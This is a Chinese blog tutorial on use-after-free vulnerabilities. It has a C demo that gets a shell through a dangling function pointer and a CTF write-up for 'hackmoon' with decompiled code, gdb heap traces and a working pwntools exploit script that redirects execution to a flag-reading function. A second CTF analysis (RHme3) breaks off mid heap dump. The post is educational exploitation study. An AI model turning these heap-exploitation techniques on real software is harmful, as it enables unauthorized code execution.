• Home
  • About
    • tearorca photo

      tearorca

      Wishful thinking have to be willing to bet on clothing!

    • Learn More
    • Google+
    • Github
  • Posts
    • All Posts
    • All Tags
  • Projects

uaf漏洞

05 Mar 2019

Reading time ~15 minutes

  • uaf介绍
    • 简单实现
    • 原因
  • 例题
    • 安恒杯二月月赛hackmoon
    • RHme3
  • 参考链接:

uaf介绍

Uaf漏洞简单的说,Use After Free就是其字面所表达的意思,当一个内存块被释放之后再次被使用。当指针在被释放之后没有置空就可能会产生这种情况。

简单实现

这里首先放一段简单的c代码,让大家更容易理解(linux 环境)

#include <stdio.h>

#include <stdlib.h>

typedef void (*func_ptr)(char *);

void evil_fuc(char command[])

{

	system(command);

}

void echo(char content[])

{

	printf("%s",content);

}

int main()

{

	func_ptr *p1=(func_ptr*)malloc(4*sizeof(int));

	printf("malloc addr: %pn",p1);

	p1[3]=echo;

	p1[3]("hello worldn");

	free(p1); //在这里free了p1,但并未将p1置空,导致后续可以再使用p1指针

	p1[3]("hello againn"); //p1指针未被置空,虽然free了,但仍可使用.

	func_ptr *p2=(func_ptr*)malloc(4*sizeof(int));//malloc在free一块内存后,再次申请同样大小的指针会把刚刚释放的内存分配出来.

	printf("malloc addr: %pn",p2);

	printf("malloc addr: %pn",p1);//p2与p1指针指向的内存为同一地址

	p2[3]=evil_fuc; //在这里将p1指针里面保存的echo函数指针覆盖成为了evil_func指针.

	p1[3]("/bin/sh");

	return 0;

}

运行一下,拿到shell

malloc addr: 0x556acd480260

hello world

hello again

malloc addr: 0x556acd480260

malloc addr: 0x556acd480260

$ ls

a.py c.py exp.c main.py peda-session-main.txt reserve

core exp main peda-session-exp.txt pwn vmware-tools-distrib

原因

原因就是:应用程序调用free()释放内存时,如果内存块小于256kb,dlmalloc并不马上将内存块释放回内存,而是将内存块标记为空闲状态。这么做的原因有两个:一是内存块不一定能马上释放会内核(比如内存块不是位于堆顶端),二是供应用程序下次申请内存使用(这是主要原因)。当dlmalloc中空闲内存量达到一定值时dlmalloc才将空闲内存释放会内核。如果应用程序申请的内存大于256kb,dlmalloc调用mmap()向内核申请一块内存,返回返还给应用程序使用。如果应用程序释放的内存大于256kb,dlmalloc马上调用munmap()释放内存。dlmalloc不会缓存大于256kb的内存块,因为这样的内存块太大了,最好不要长期占用这么大的内存资源。

例题

安恒杯二月月赛hackmoon

先查保护

Canary : Yes

NX : Yes

PIE : No

Fortify : No

RelRO : Partial

扔到ida里面

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)

{

	int v3; // eax

	int v4; // [esp+8h] [ebp-10h]

	unsigned int v5; // [esp+Ch] [ebp-Ch]

	v5 = __readgsdword(0x14u);

	setvbuf(stdout, 0, 2, 0);

	setvbuf(stdin, 0, 2, 0);

	while ( 1 )

	{

		while ( 1 )

		{

			menu();

			read(0, &v4, 4u);

			v3 = atoi((const char *)&v4);

			if ( v3 != 2 )

				break;

			del_moon();

		}

		if ( v3 > 2 )

		{

			if ( v3 == 3 )

			{

				print_moon();

			}

			else

			{

				if ( v3 == 4 )

					exit(0);

			LABEL_13:

				puts("Invalid choice");

			}

		}

		else

		{

			if ( v3 != 1 )

				goto LABEL_13;

			add_moon();

		}

	}

}

从主函数了很容易可以看出来是一个菜单类的题目。

int menu()

{

	puts("----------------------");

	puts(" HackMoon ");

	puts("----------------------");

	puts(" 1. Add moon ");

	puts(" 2. Delete moon ");

	puts(" 3. Print moon ");

	puts(" 4. Exit ");

	puts("----------------------");

	return printf("Your choice :");

}

第一个Add函数

unsigned int add_moon()

{

	_DWORD *v0; // ebx

	signed int i; // [esp+Ch] [ebp-1Ch]

	int v3; // [esp+10h] [ebp-18h]

	int v4; // [esp+14h] [ebp-14h]

	unsigned int v5; // [esp+1Ch] [ebp-Ch]

	v5 = __readgsdword(0x14u);

	if ( count <= 5 )

	{

		for ( i = 0; i <= 4; ++i )

		{

			if ( !moonlist[i] )

			{

				moonlist[i] = malloc(8u);

				if ( !moonlist[i] )

				{

					puts("Alloca Error");

					exit(-1);

				}

				*(_DWORD *)moonlist[i] = print_moon_content;

				printf("moon size :");

				read(0, &v4, 8u);

				v3 = atoi((const char *)&v4);

				v0 = moonlist[i];

				v0[1] = malloc(v3);

				if ( !*((_DWORD *)moonlist[i] + 1) )

				{

					puts("Alloca Error");

					exit(-1);

				}

				printf("Content :");

				read(0, *((void **)moonlist[i] + 1), v3);

				puts("Success !");

				++count;

				return __readgsdword(0x14u) ^ v5;

			}
	
		}

	}

	else

	{

		puts("Full");

	}

	return __readgsdword(0x14u) ^ v5;

}

最多只能加入5个内容,

moonlist[i] = malloc(8u);

*(_DWORD *)moonlist[i] = print_moon_content;

先是申请了一个八个字节的空间 存放put 以及 content 指针。,然后在是输入长度和content。

+-----------------+

| put             |

+-----------------+

| content         |         size

+-----------------+-------------------&gt;+----------------+

                                       |      real      |

                                       |      content   |

                                       |                |

                                       +----------------+

Del函数

unsigned int del_moon()

{

	int v1; // [esp+4h] [ebp-14h]

	int v2; // [esp+8h] [ebp-10h]

	unsigned int v3; // [esp+Ch] [ebp-Ch]

	v3 = __readgsdword(0x14u);

	printf("Index :");

	read(0, &v2, 4u);

	v1 = atoi((const char *)&v2);

	if ( v1 < 0 || v1 >= count )

	{

		puts("Out of bound!");

		_exit(0);

	}

	if ( moonlist[v1] )

	{

		free(*((void **)moonlist[v1] + 1));

		free(moonlist[v1]);

		puts("Success");

	}

	return __readgsdword(0x14u) ^ v3;

}

主要的漏洞就在这个函数里面,free掉了两个指针后并没有将它们置空,导致它们成为了Dangling pointer,所以这里就有了uaf的漏洞。

Print函数

unsigned int print_moon()

{

	int v1; // [esp+4h] [ebp-14h]

	int v2; // [esp+8h] [ebp-10h]

	unsigned int v3; // [esp+Ch] [ebp-Ch]

	v3 = __readgsdword(0x14u);

	printf("Index :");

	read(0, &v2, 4u);

	v1 = atoi((const char *)&v2);

	if ( v1 < 0 || v1 >= count )

	{

		puts("Out of bound!");

		_exit(0);

	}

	if ( moonlist[v1] )

		(*(void (__cdecl **)(void *))moonlist[v1])(moonlist[v1]);

	return __readgsdword(0x14u) ^ v3;

}

就是根据索引号输出里面的内容。但我们可以发现这句比较奇怪好像以前从来没有见过

(*(void (__cdecl **)(void *))moonlist[v1])(moonlist[v1]);

那可能就是ida的分析出现了点问题,因为ida是不能分析结构体类型的代码 转到汇编

text:08048945 loc_8048945:                            ; CODE XREF: print_moon+54↑j
.text:08048945                 mov     eax, [ebp+var_14]
.text:08048948                 mov     eax, ds:moonlist[eax*4]
.text:0804894F                 test    eax, eax
.text:08048951                 jz      short loc_8048972
.text:08048953                 mov     eax, [ebp+var_14]
.text:08048956                 mov     eax, ds:moonlist[eax*4]
.text:0804895D                 mov     eax, [eax]
.text:0804895F                 mov     edx, [ebp+var_14]
.text:08048962                 mov     edx, ds:moonlist[edx*4]
.text:08048969                 sub     esp, 0Ch
.text:0804896C                 push    edx
.text:0804896D                 call    eax
.text:0804896F                 add     esp, 10h

前三行是判断moonlist[eax4]的值是否为0,剩下的几行我们可以把它整合一下 0804895D这一行的我们可以看成mov eax,[ds:moonlist[[ebp+var_14]4]],这里用了两个取地址的位置,我们可以在gdb里面调试来看call究竟运行了哪一个函数。

$eax   : 0x0804b160  →  0x0804865b  →  <print_moon_content+0> push ebp
$ebx   : 0x0       
$ecx   : 0x0       
$edx   : 0xf7f46ac0  →  0x00020002
$esp   : 0xffffd150  →  0x08048c6d  →  "Your choice :"
[!] Command 'registers' failed to execute properly, reason: 'I' format requires 0 <= number <= 4294967295
───────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
[!] Unmapped address
─────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
	0x8048956 <print_moon+129> mov    eax, DWORD PTR [eax*4+0x804a070]
 →  0x804895d <print_moon+136> mov    eax, DWORD PTR [eax]
	0x804895f <print_moon+138> mov    edx, DWORD PTR [ebp-0x14]
	0x8048962 <print_moon+141> mov    edx, DWORD PTR [edx*4+0x804a070]
	0x8048969 <print_moon+148> sub    esp, 0xc
	0x804896c <print_moon+151> push   edx
	0x804896d <print_moon+152> call   eax
─────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "hackmoon", stopped, reason: SINGLE STEP
───────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x804895d → print_moon()
[#1] 0x8048ad3 → main()
[#2] 0xf7df6e81 → __libc_start_main(main=0x8048a38 <main>, argc=0x1, argv=0xffffd234, init=0x8048b00 <__libc_csu_init>, fini=0x8048b60 <__libc_csu_fini>, rtld_fini=0xf7fe59b0 <_dl_fini>, stack_end=0xffffd22c)
[#3] 0x8048581 → _start()

我们可以看到运行完这一句0x8048956 <print_moon+129> mov eax, DWORD PTR [eax*4+0x804a070]之后,eax里面存的是print_moon_content+0的地址,也就是说我们的call eax将会运行的是print_moon_content这个函数,这个函数里面就只有一个put

int __cdecl print_moon_content(int a1)
{
  return puts(*(const char **)(a1 + 4));
}

后面的edx也可以这样分析出来,还是print_moon_content的地址,作为后面call eax的参数将它压入到栈中。

$eax   : 0x0804865b  →  <print_moon_content+0> push ebp
$ebx   : 0x0       
$ecx   : 0x0       
$edx   : 0x0804b160  →  0x0804865b  →  <print_moon_content+0> push ebp
[!] Command 'registers' failed to execute properly, reason: 'I' format requires 0 <= number <= 4294967295
───────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
[!] Unmapped address
─────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
	0x804895c <print_moon+135> or     BYTE PTR [ebx-0x13aa7500], cl
	0x8048962 <print_moon+141> mov    edx, DWORD PTR [edx*4+0x804a070]
	0x8048969 <print_moon+148> sub    esp, 0xc
 →  0x804896c <print_moon+151> push   edx
	0x804896d <print_moon+152> call   eax
	0x804896f <print_moon+154> add    esp, 0x10
	0x8048972 <print_moon+157> nop    
	0x8048973 <print_moon+158> mov    eax, DWORD PTR [ebp-0xc]
0x8048976 <print_moon+161> xor    eax, DWORD PTR gs:0x14

接着进入到print_moon_content函数内部,前面通过几行的赋值,我们可以看到最后将要被输出的是我们之前输入的contest

$eax   : 0x0804b170  →  "123456789"
$ebx   : 0x0       
$ecx   : 0x0       
$edx   : 0x0804b160  →  0x0804865b  →  <print_moon_content+0> push ebp
[!] Command 'registers' failed to execute properly, reason: 'I' format requires 0 <= number <= 4294967295
───────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
[!] Unmapped address
─────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
	0x804865e <print_moon_content+3> sub    esp, 0x8
	0x8048661 <print_moon_content+6> mov    eax, DWORD PTR [ebp+0x8]
	0x8048664 <print_moon_content+9> mov    eax, DWORD PTR [eax+0x4]
 →  0x8048667 <print_moon_content+12> sub    esp, 0xc

所以综上可以分析得到这一句ida未分析出来的代码是

print_moon_content(moonlist[a]->monnlist[a])

在看其他函数的时候,我们还发现了

int magic()

{

	return system("cat /home/pwn/flag");

}

只要运行这个函数就可以拿到权限。接下来需要考虑的问题就是如何使程序运行到这个函数

一个很直接的想法是修改 print_moon_content; 的 put 字段为 magic 函数的地址,从而实现在执行 print note 的时候执行 magic 函数。

思路大概是这样

  • 申请 note0,real content size 为 32

  • 申请 note1,real content size 为 32

  • 释放 note0

  • 释放 note1

  • 此时,大小为 2 的 fast bin chunk 中链表为 note1->note0

  • 申请 note2,并且设置 real content 的大小为 8,那么根据堆的分配规则

  • note2 其实会分配 note1 对应的内存块。

  • real content 对应的 chunk 其实是 note0。

  • 如果我们这时候向 note2 real content 的 chunk 部分写入 magic的地址,那么由于我们没有 note0 为 NULL。当我们再次尝试输出 note0的时候,程序就会调用 magic 函数。

用gdb调试一下

现在menu下个断点,运行第一遍后找到申请的堆所在的内存

gef➤ vmmap

Start End Offset Perm Path

0x08048000 0x08049000 0x00000000 r-x /home/katrina/Desktop/hackmoon

0x08049000 0x0804a000 0x00000000 r-- /home/katrina/Desktop/hackmoon

0x0804a000 0x0804b000 0x00001000 rw- /home/katrina/Desktop/hackmoon

0x09f6d000 0x09f8f000 0x00000000 rw- [heap]

0xf7d7e000 0xf7f53000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.27.so

0xf7f53000 0xf7f54000 0x001d5000 --- /lib/i386-linux-gnu/libc-2.27.so

0xf7f54000 0xf7f56000 0x001d5000 r-- /lib/i386-linux-gnu/libc-2.27.so

0xf7f56000 0xf7f57000 0x001d7000 rw- /lib/i386-linux-gnu/libc-2.27.so

0xf7f57000 0xf7f5a000 0x00000000 rw-

0xf7f6f000 0xf7f71000 0x00000000 rw-

0xf7f71000 0xf7f74000 0x00000000 r-- [vvar]

0xf7f74000 0xf7f76000 0x00000000 r-x [vdso]

0xf7f76000 0xf7f9c000 0x00000000 r-x /lib/i386-linux-gnu/ld-2.27.so

0xf7f9c000 0xf7f9d000 0x00025000 r-- /lib/i386-linux-gnu/ld-2.27.so

0xf7f9d000 0xf7f9e000 0x00026000 rw- /lib/i386-linux-gnu/ld-2.27.so

0xff95d000 0xff97e000 0x00000000 rw- [stack]

gef➤ x/70ag 0x09f6d000

0x9f6d000: 0x0 0x0

0x9f6d010: 0x0 0x0

0x9f6d020: 0x0 0x0

0x9f6d030: 0x0 0x0

0x9f6d040: 0x0 0x0

0x9f6d050: 0x0 0x0

0x9f6d060: 0x0 0x0

0x9f6d070: 0x0 0x0

0x9f6d080: 0x0 0x0

0x9f6d090: 0x0 0x0

0x9f6d0a0: 0x0 0x0

0x9f6d0b0: 0x0 0x0

0x9f6d0c0: 0x0 0x0

0x9f6d0d0: 0x0 0x0

0x9f6d0e0: 0x0 0x0

0x9f6d0f0: 0x0 0x0

0x9f6d100: 0x0 0x0

0x9f6d110: 0x0 0x0

0x9f6d120: 0x0 0x0

0x9f6d130: 0x0 0x0

0x9f6d140: 0x0 0x0

0x9f6d150: 0x0 0x0

0x9f6d160: 0x804865b 0x0

0x9f6d170: 0x61616161 0x0

0x9f6d180: 0x0 0x0

0x9f6d190: 0x0 0x0

0x9f6d1a0: 0x0 0x0

0x9f6d1b0: 0x0 0x0

0x9f6d1c0: 0x0 0x0

0x9f6d1d0: 0x0 0x0

0x9f6d1e0: 0x0 0x0

0x9f6d1f0: 0x0 0x0

0x9f6d200: 0x0 0x0

0x9f6d210: 0x0 0x0

0x9f6d220: 0x0 0x0

可以看到moonlist[0]申请到的空间为0x9f6d160,real content申请到的为0x9f6d170

第二次运行

gef➤ x/70ag 0x09f6d160

0x9f6d160: 0x804865b 0x0

0x9f6d170: 0x61616161 0x0

0x9f6d180: 0x0 0x0

0x9f6d190: 0x0 0x0

0x9f6d1a0: 0x804865b 0x0

0x9f6d1b0: 0x63636363 0x0

同理moonlist[1]申请到的是0x9f6d1a0

第三次运行释放掉了moonlist[0],可以看一下堆的bins,刚刚释放的被存到了fastbin里面。

gef➤ heap bins

──────────────────────────────────────────── Tcachebins for arena 0xf7f567a0 ────────────────────────────────────────────

Tcachebins[idx=2, size=0x18] count=1 ← Chunk(addr=0x9f6d160, size=0x10,
flags=PREV_INUSE)

Tcachebins[idx=4, size=0x28] count=0 ← Chunk(addr=0x9f6d170, size=0x30,
flags=PREV_INUSE)

───────────────────────────────────────────── Fastbins for arena 0xf7f567a0 ─────────────────────────────────────────────

Fastbins[idx=0, size=0x8] 0x00

Fastbins[idx=1, size=0x10] 0x00

Fastbins[idx=2, size=0x18] 0x00

Fastbins[idx=3, size=0x20] 0x00

Fastbins[idx=4, size=0x28] 0x00

Fastbins[idx=5, size=0x30] 0x00

Fastbins[idx=6, size=0x38] 0x00

────────────────────────────────────────── Unsorted Bin for arena 'main_arena' ──────────────────────────────────────────

[+] Found 0 chunks in unsorted bin.

─────────────────────────────────────────── Small Bins for arena 'main_arena' ───────────────────────────────────────────

[+] Found 0 chunks in 0 small non-empty bins.

─────────────────────────────────────────── Large Bins for arena 'main_arena' ───────────────────────────────────────────

[+] Found 0 chunks in 0 large non-empty bins.

第四次运行释放moonlist[1],可以看到刚刚释放的被放到了链表的表头。

gef➤ heap bins

──────────────────────────────────────────── Tcachebins for arena 0xf7f567a0 ────────────────────────────────────────────

Tcachebins[idx=2, size=0x18] count=2 ← Chunk(addr=0x9f6d1a0, size=0x10,flags=PREV_INUSE) ← Chunk(addr=0x9f6d160, size=0x10, flags=PREV_INUSE)

Tcachebins[idx=4, size=0x28] count=0 ← Chunk(addr=0x9f6d1b0, size=0x30,flags=PREV_INUSE) ← Chunk(addr=0x9f6d170, size=0x30, flags=PREV_INUSE)

───────────────────────────────────────────── Fastbins for arena 0xf7f567a0 ─────────────────────────────────────────────

Fastbins[idx=0, size=0x8] 0x00

Fastbins[idx=1, size=0x10] 0x00

Fastbins[idx=2, size=0x18] 0x00

Fastbins[idx=3, size=0x20] 0x00

Fastbins[idx=4, size=0x28] 0x00

Fastbins[idx=5, size=0x30] 0x00

Fastbins[idx=6, size=0x38] 0x00

────────────────────────────────────────── Unsorted Bin for arena 'main_arena' ──────────────────────────────────────────

[+] Found 0 chunks in unsorted bin.

─────────────────────────────────────────── Small Bins for arena 'main_arena' ───────────────────────────────────────────

[+] Found 0 chunks in 0 small non-empty bins.

─────────────────────────────────────────── Large Bins for arena 'main_arena' ───────────────────────────────────────────

[+] Found 0 chunks in 0 large non-empty bins.

根据堆的存储机制,我们可以知道,当我们再申请一个和之前释放过的同样大小的时候,系统会直接从fastbin里拿出来进行分配。

我们是是想要覆盖掉put所以我们再申请一个8字节的空间就可以了。把断点下在malloc方便看。

gef➤ b *0x080486CA

Breakpoint 2 at 0x80486ca

gef➤ b *0x0804875C

Breakpoint 3 at 0x804875c

第一个malloc之后,原先moonlist[1]位置被重新使用。

gef➤ heap bins

──────────────────────────────────────────── Tcachebins for arena 0xf7f567a0 ────────────────────────────────────────────

Tcachebins[idx=2, size=0x18] count=2 ← Chunk(addr=0x9f6d160, size=0x10,
flags=PREV_INUSE)

Tcachebins[idx=4, size=0x28] count=0 ← Chunk(addr=0x9f6d1b0, size=0x30,
flags=PREV_INUSE) ← Chunk(addr=0x9f6d170, size=0x30, flags=PREV_INUSE)

───────────────────────────────────────────── Fastbins for arena 0xf7f567a0 ─────────────────────────────────────────────

Fastbins[idx=0, size=0x8] 0x00

Fastbins[idx=1, size=0x10] 0x00

Fastbins[idx=2, size=0x18] 0x00

Fastbins[idx=3, size=0x20] 0x00

Fastbins[idx=4, size=0x28] 0x00

Fastbins[idx=5, size=0x30] 0x00

Fastbins[idx=6, size=0x38] 0x00

────────────────────────────────────────── Unsorted Bin for arena 'main_arena' ──────────────────────────────────────────

[+] Found 0 chunks in unsorted bin.

─────────────────────────────────────────── Small Bins for arena 'main_arena' ───────────────────────────────────────────

[+] Found 0 chunks in 0 small non-empty bins.

─────────────────────────────────────────── Large Bins for arena 'main_arena' ───────────────────────────────────────────

[+] Found 0 chunks in 0 large non-empty bins.

gef➤ x/70ag 0x09f6d160

0x9f6d160: 0x0 0x0

0x9f6d170: 0x0 0x0

0x9f6d180: 0x0 0x0

0x9f6d190: 0x0 0x0

0x9f6d1a0: 0x804865b 0x0

0x9f6d1b0: 0x9f6d170 0x0

0x9f6d1c0: 0x0 0x0

0x9f6d1d0: 0x0 0x0

0x9f6d1e0: 0x0 0x0

第二次malloc是我们输入的内容为magic函数的地址

gef➤ heap bins

──────────────────────────────────────────── Tcachebins for arena 0xf7f567a0 ────────────────────────────────────────────

Tcachebins[idx=4, size=0x28] count=0 ← Chunk(addr=0x9f6d1b0, size=0x30,
flags=PREV_INUSE) ← Chunk(addr=0x9f6d170, size=0x30, flags=PREV_INUSE)

───────────────────────────────────────────── Fastbins for arena 0xf7f567a0 ─────────────────────────────────────────────

Fastbins[idx=0, size=0x8] 0x00

Fastbins[idx=1, size=0x10] 0x00

Fastbins[idx=2, size=0x18] 0x00

Fastbins[idx=3, size=0x20] 0x00

Fastbins[idx=4, size=0x28] 0x00

Fastbins[idx=5, size=0x30] 0x00

Fastbins[idx=6, size=0x38] 0x00

────────────────────────────────────────── Unsorted Bin for arena 'main_arena' ──────────────────────────────────────────

[+] Found 0 chunks in unsorted bin.

─────────────────────────────────────────── Small Bins for arena 'main_arena' ───────────────────────────────────────────

[+] Found 0 chunks in 0 small non-empty bins.

─────────────────────────────────────────── Large Bins for arena 'main_arena' ───────────────────────────────────────────

[+] Found 0 chunks in 0 large non-empty bins.

gef➤ x/70ag 0x09f6d160

0x9f6d160: 0x8048986 0x0

0x9f6d170: 0x0 0x0

0x9f6d180: 0x0 0x0

0x9f6d190: 0x0 0x0

0x9f6d1a0: 0x804865b 0x0

0x9f6d1b0: 0x9f6d170 0x0

0x9f6d1c0: 0x0 0x0

覆盖成功,0x9f6d160的内容已经变为magic函数的地址,再运行print(0)后就可以运行到magic函数。

脚本:

from pwn import *

p=process('./hackmoon')

def add(size, content):

	p.recvuntil('Your choice :')

	p.sendline('1')

	p.recvuntil('moon size :')

	p.sendline(str(size))

	p.recvuntil('Content :')

	p.send(content)

def delete(index):

	p.recvuntil('Your choice :')

	p.sendline('2')

	p.recvuntil('Index :')

	p.sendline(str(index))

	p.recvuntil('Success')

	return

def print_(index):

	p.recvuntil('Your choice :')

	p.sendline('3')

	p.recvuntil('Index :')

	p.sendline(str(index))

	return

context.terminal = ['terminator','-x','sh','-c']

pwnlib.gdb.attach(p)

magic_addr=0x08048986

add(32,'aaaa')

add(32,'cccc')

delete(0)

delete(1)

add(8,p32(magic_addr))

print_(0)

p.interactive()

RHme3

先查保护

gef➤ checksec

[+] checksec for '/home/katrina/Desktop/RHme3'

Canary : Yes

NX : Yes

PIE : No

Fortify : No

RelRO : Partial

就开了Canary和NX。Ida里看一下

int __cdecl main(int argc, const char **argv, const char **envp)

{

	int v3; // ST0C_4

	bool v5; // [rsp+7h] [rbp-9h]

	v5 = 0;

	setbuf(stdout, 0LL);

	puts("Welcome to your TeamManager (TM)!");

	fflush(stdout);

	while ( !v5 )

	{

		v3 = menu();

		v5 = v3 == 0;

		switch ( v3 )

		{

		case 0:

			v5 = 1;

			break;

		case 1:

			add_player();

			break;

		case 2:

			delete_player();

			break;

		case 3:

			select_player();

			break;

		case 4:

			edit_player();

			break;

		case 5:

			show_player();

			break;

		case 6:

			show_team();

			break;

		default:

			puts("Invalid option!!");

			fflush(stdout);

			break;

		}

	}

	puts("Sayonara!");

	fflush(stdout);

	return 0;

}

从主函数里明显可以看出来是一个列表的题目,先分析一下各个函数功能

__int64 menu()

{

char nptr[4]; // [rsp+10h] [rbp-10h]

unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(0x28u);

*(_DWORD *)nptr = 0;

puts("0.- Exit");

fflush(stdout);

puts("1.- Add player");

fflush(stdout);

puts("2.- Remove player");

fflush(stdout);

puts("3.- Select player");

fflush(stdout);

puts("4.- Edit player");

fflush(stdout);

puts("5.- Show player");

fflush(stdout);

puts("6.- Show team");

fflush(stdout);

printf("Your choice: ");

fflush(stdout);

readline(nptr, 4LL);

return (unsigned int)atoi(nptr);

}

列表菜单

unsigned __int64 add_player()

{

	size_t v0; // rax

	unsigned int i; // [rsp+4h] [rbp-11Ch]

	char **s; // [rsp+8h] [rbp-118h]

	char src; // [rsp+10h] [rbp-110h]

	unsigned __int64 v5; // [rsp+118h] [rbp-8h]

	v5 = __readfsqword(0x28u);

	for ( i = 0; i <= 0xA && players[i]; ++i );

	if ( i == 11 )

	{

		puts("Maximum number of players reached!");

		fflush(stdout);

	}

	else

	{

		printf("Found free slot: %dn", i);

		fflush(stdout);

		s = (char **)malloc(0x18uLL);

		if ( s )

		{

			memset(s, 0, 0x18uLL);

			printf("Enter player name: ", 0LL);

			fflush(stdout);

			memset(&src, 0, 0x100uLL);

			readline(&src, 256LL);

			v0 = strlen(&src);

			s[2] = (char *)malloc(v0 + 1);

			if ( s[2] )

			{

				strcpy(s[2], &src);

				printf("Enter attack points: ", &src);

				fflush(stdout);

				readline(&src, 4LL);

				*(_DWORD *)s = atoi(&src);

				printf("Enter defense points: ", 4LL);

				fflush(stdout);

				readline(&src, 4LL);

				*((_DWORD *)s + 1) = atoi(&src);

				printf("Enter speed: ", 4LL);

				fflush(stdout);

				readline(&src, 4LL);

				*((_DWORD *)s + 2) = atoi(&src);

				printf("Enter precision: ", 4LL);

				fflush(stdout);

				readline(&src, 4LL);

				*((_DWORD *)s + 3) = atoi(&src);

				players[i] = (__int64)s;

			}

			else

			{

				printf("Could not allocate!", 256LL);

				fflush(stdout);

			}

		}

		else

		{

			puts("Could not allocate");

			fflush(stdout);

		}

	}

	return __readfsqword(0x28u) ^ v5;

}

第一个是添加函数,一共可以添加11个,看了两个malloc申请空间。

unsigned __int64 delete_player()

{

	void **ptr; // ST08_8

	unsigned int v2; // [rsp+4h] [rbp-1Ch]

	char nptr; // [rsp+10h] [rbp-10h]

	unsigned __int64 v4; // [rsp+18h] [rbp-8h]

	v4 = __readfsqword(0x28u);

	printf("Enter index: ");

	fflush(stdout);

	readline(&nptr, 4LL);

	v2 = atoi(&nptr);

	if ( v2 <= 0xA && players[v2] )

	{

		ptr = (void **)players[v2];

		players[v2] = 0LL;

		free(ptr[2]);

		free(ptr);

		puts("She's gone!");

		fflush(stdout);

	}

	else

	{

		puts("Invalid index");

		fflush(stdout);

	}

	return __readfsqword(0x28u) ^ v4;

}

删除函数,这里就可以发现了,两个free把前面add里面申请的空间释放之后,并没有把相对应的指针置空,这里就可能可以利用uaf漏洞来pwn题。

int edit_player()

{

	int result; // eax

	char v1; // [rsp+Bh] [rbp-5h]

	v1 = 0;

	result = selected;

	if ( selected )

	{

		while ( !v1 )

		{

		result = edit_menu();

		switch ( result )

		{

		case 0:

			v1 = 1;

			break;

		case 1:

			result = set_name();

			break;

		case 2:

			result = set_attack();

			break;

		case 3:

			result = set_defense();

			break;

		case 4:

			result = set_speed();

			break;

		case 5:

			result = set_precision();

			break;

		default:

			puts("Invalid choice");

			result = fflush(stdout);

			break;

			}

		}

	}

	else

	{

		puts("No player selected!!");

		result = fflush(stdout);

	}

	return result;

}

修改函数,可以在后面覆盖函数got用到

剩下的三个函数通过分析之后发现都是无关紧要的,这里就不做分析了。

再找了下字符串发现没有system和bin/sh,这代表着我们需要泄露程序里的函数来获得libc的版本从而拿到system的地址。

我们可以先用gdb来分析程序堆的布置

gef➤ b *0x00402205

Breakpoint 1 at 0x402205

现在菜单的位置下一个断点。运行。

第一组数据先这么输入

gef➤ c

Continuing.

0.- Exit

1.- Add player

2.- Remove player

3.- Select player

4.- Edit player

5.- Show player

6.- Show team

Your choice: 1

Found free slot: 0

Enter player name: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Enter attack points: 1

Enter defense points: 1

Enter speed: 1

Enter precision: 1

用vmmap来找堆所在的位置

gef➤ vmmap

Start End Offset Perm Path

0x0000000000400000 0x0000000000403000 0x0000000000000000 r-x/home/katrina/Desktop/main

0x0000000000602000 0x0000000000603000 0x0000000000002000 r-/home/katrina/Desktop/main

0x0000000000603000 0x0000000000604000 0x0000000000003000 rw-/home/katrina/Desktop/main

0x0000000000604000 0x0000000000625000 0x0000000000000000 rw- [heap]

0x00007ffff79e4000 0x00007ffff7bcb000 0x0000000000000000 r-x/lib/x86_64-linux-gnu/libc-2.27.so

0x00007ffff7bcb000 0x00007ffff7dcb000 0x00000000001e7000 ---/lib/x86_64-linux-gnu/libc-2.27.so

0x00007ffff7dcb000 0x00007ffff7dcf000 0x00000000001e7000 r--/lib/x86_64-linux-gnu/libc-2.27.so

0x00007ffff7dcf000 0x00007ffff7dd1000 0x00000000001eb000 rw-/lib/x86_64-linux-gnu/libc-2.27.so

0x00007ffff7dd1000 0x00007ffff7dd5000 0x0000000000000000 rw-

0x00007ffff7dd5000 0x00007ffff7dfc000 0x0000000000000000 r-x/lib/x86_64-linux-gnu/ld-2.27.so

0x00007ffff7fe0000 0x00007ffff7fe2000 0x0000000000000000 rw-

0x00007ffff7ff7000 0x00007ffff7ffa000 0x0000000000000000 r-- [vvar]

0x00007ffff7ffa000 0x00007ffff7ffc000 0x0000000000000000 r-x [vdso]

0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000027000 r--/lib/x86_64-linux-gnu/ld-2.27.so

0x00007ffff7ffd000 0x00007ffff7ffe000 0x0000000000028000 rw-/lib/x86_64-linux-gnu/ld-2.27.so

0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-

0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]

0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]

发现在

x0000000000604000 0x0000000000625000 0x0000000000000000 rw- [heap]

用x/g进去跟进之后找到准确位置

gef➤ x/70ag 0x0000000000604240

0x604240: 0x0 0x0

0x604250: 0x0 0x21

0x604260: 0x100000001 0x100000001

0x604270: 0x604280 0x31

0x604280: 0x6161616161616161 0x6161616161616161

0x604290: 0x6161616161616161 0x6161616161616161

0x6042a0: 0x0 0x20d61

0x6042b0: 0x0 0x0

0x6042c0: 0x0 0x0

0x6042d0: 0x0 0x0

0x6042e0: 0x0 0x0

0x6042f0: 0x0 0x0

再添加一个

gef➤ x/70g 0x0000000000604240

0x604240: 0x0000000000000000 0x0000000000000000

0x604250: 0x0000000000000000 0x0000000000000021

0x604260: 0x0000000100000001 0x0000000100000001

0x604270: 0x0000000000604280 0x0000000000000031

0x604280: 0x6161616161616161 0x6161616161616161

0x604290: 0x6161616161616161 0x6161616161616161

0x6042a0: 0x0000000000000000 0x0000000000000021

0x6042b0: 0x0000000100000001 0x0000000100000001

0x6042c0: 0x00000000006042d0 0x0000000000000031

0x6042d0: 0x6262626262626262 0x6262626262626262

0x6042e0: 0x6262626262626262 0x6262626262626262

